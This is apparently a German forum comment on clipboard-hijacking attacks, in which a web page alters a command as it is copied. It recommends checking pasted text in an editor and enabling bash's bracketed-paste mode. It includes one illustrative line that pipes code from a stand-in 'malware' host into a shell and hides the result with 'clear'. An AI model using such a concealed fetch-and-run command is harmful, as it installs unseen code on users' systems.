Um diese Sicherheitsproblematik vorzubeugen, könnte man kopierte Befehle vorher in ein Textdokument einfügen, um zu prüfen, was wirklich ankommt.

Das habe ich mir sowieso angewöhnt, da irgendwann mal irgendjemand auf die Idee kam, es wäre eine gute Idee beim Kopieren von Inhalten auch gleich die ganze unnütze Formatierung mit zu übernehmen - und zwar dergestalt, dass man diese Unart nicht mal abschalten kann. Also wandert bei mir alles erst mal über Gvim bevor es da landet, wo es eigentlich hin soll.

Das Problem mit curl | sh ist aber leider sehr weit verbreitet. Selbst große Softwareprojekte bieten einen entsprecehnd Kopierbaren Aufruf wie selbstverständlich auf ihrer Seite an, entsprechend sorglos werden Befehle aller art einfach so ohne weitere Prüfung von Webseiten kopiert und ungeprüft (und oft auch ohne zu verstehen was da gemacht wird) ausgeführt.

Es war eigentlich nur eine Frage der zeit, bis jemand den Event-Handler dafür benutzt, auf diese art und weise Schadcode ins System zu bekommen. Außerdem:

$(curl malware | sh) & disown & clear & curl brauchbar | sh

... ich sags ja nur ... 😃

Die bash (und auch die zsh) hat seit einigen Versionen ein Feature, dass eingefügte Kommandos nicht direkt ausgeführt werden, sondern nach dem Einfügen mit Enter bestätigt werden müssen, auch wenn sie Zeilenumbrüche enthalten. Bis eben habe ich mich gefragt warum dieses Verhalten eingeführt wurde. Jetzt weiß ich wieso.
bind 'set enable-bracketed-paste on'